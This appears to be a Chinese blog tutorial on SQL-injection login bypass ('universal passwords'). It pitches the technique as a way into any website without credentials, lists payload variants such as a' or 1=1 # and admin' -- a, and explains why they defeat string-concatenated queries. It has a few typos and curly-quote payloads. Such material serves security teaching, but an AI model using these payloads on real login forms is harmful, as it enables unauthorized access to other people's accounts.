我们平时登录账号时,如果是第一次登录,系统会提示我们注册账号,并将我们注册的账号和密码保存到数据库中。当我们再次登录时,系统会将我们输入的账号和密码和数据库中的数据进行匹配,匹配成功能登录。这就意味着我们需要知道一个已经注册过并且正确的账号和密码才能进行登录,那如果我不小心忘记了我的账号或者密码,或者我压根就不知道账号和密码,还有没有办法登录呢?答案是肯定的,那就是 【万能账号密码】
万能账号密码是指 【万能账号】和 【万能密码】,顾名思义,就是可以 【登录任意网站】的账号和密码
1、万能账号
当我们不知道用户的账号并且不知道用户的密码时,可以使用万能账号。
万能账号并不是一个真正意义上的账号,它是一种【拥有不同变体的格式】
需要注意的是,以下所有万能账号中的 a 可以是自定义的数字或字母,比如 1,2,3,b,c,d
【数值型万能账号】
a or true #
a or 1 #
a or 1=1 #
a or true -- a
a or 1 -- a
a or 1=1 -- a
【单引号字符型万能密码】
a' or true #
a' or 1 #
a' or 1=1 #
a' or true --a
a' or 1 -- a
a' or 1=1 -- a
【双引号字符型万能密码】
a" or true #
a" or 1 #
a" or 1=1 #
a" or true -- a
a" or 1 -- a
a" or 1=1 -- a
1.1 万能账号的使用
2、万能密码
当我们知道用户的账号,但不知道用户的密码时,可以使用万能密码
万能密码并不是一个真正意义上的密码,而是一个【拥有不同变体的格式】
需要注意的是:万能密码中的 admin,必须是真实的用户名
【数值型万能密码】
admin #
admin -- a
【单引号字符串型万能密码】
admin' #
admin' -- a
【双引号字符串型万能密码】
admin” #
admin" -- a
2.1 万能密码的使用
用户名输入 【万能密码】,比如 admin’ #
密码随便输入,比如 123456
二、万能账号密码原理剖析
一个网络安全意识淡薄的网站,其登录功能的SQL语句大概是下面这个样子
select * from user where username='user' and password='pass'
1、万能账号原理
当我们在登录界面输入 【万能账号】比如 a’ or true # 以后,后端会将我们输入的参数拼接到SQL中,然后去数据库中查询账号和密码,SQL语句大概是下面这样
select * from user where username='a' or true #' and password='pass'
由于 # 在SQL中是注释符,注释符后面的内容不起作用,所以真正执行的SQL语句大概是下面这样
select * from user where username='a' or true
or true 会使SQL语句恒成立,从而查询出数据库中的所有账号和密码,从而使我们成功登录
1.1 注释符
除了 # 以外, --
也是SQL中的注释符,但SQL的语法格式规定--
和后面的注释内容必须间隔一个空格,所以这需要使用 a' or 1 -- a
而不是 a' or 1 --
其原理和 a’ or 1 # 大同小异,拼接到SQL中大概是下面这样
select * from user where username='a' or true -- a' and password='pass'
注释后面的内容不生效,真正执行的SQL大概是下面这样
select * from user where username='a' or true
SQL语句恒成立,从而登录成功
换句话来说,a' or true -- a
经过SQL的转化后,结果等价于 a’ or true #
1.2 比较运算符
SQL中规定,非布尔类型的数据参与比较运算时,会转化为布尔类型再参与运算。比如 or 1 或者 or 1=1 ,会转化为布尔类型的 true 再参与 or 的比较运算,也就是变成 or true ,同样能使条件恒成立,从而登录成功
简单来讲就是:a' or 1 #
或者 a' or 1=1 #
等价于 a' or true #
2、万能密码原理
当我们在登录界面输入 【万能密码】 比如 admin’ # 以后,后端会将我们输入的参数拼接到SQL中,大概是下面这样
select * from user where username='admin' #' and password='pass'
由于 # 在SQL中是注释符,注释符后面的内容不起作用,所以真正执行的SQL大概是下面这样
select * from user where username='admin'
SQL只会在数据库中查询用户名,而不是同时查询用户名和密码,这就意味着,只要用户名正确,就可以登录成功
2.1 注释符
除了 # ,--
在SQL中也是注释符,SQL的语法格式规定 --
后面必须使用空格来间隔后面的注释内容,所以需要将 --
写作 -- a
,后面的 a 可以是任意数字或者字母
简单来件就是 admin’ – a 等价于 admin‘ #
总结
【万能账号密码】适用于网络安全意识较差的网站,如果发现了可以使用的网站,切勿进行下一步操作,动歪脑筋的同学请在心理默念三遍:【我国有一部完整且历史悠久的法律】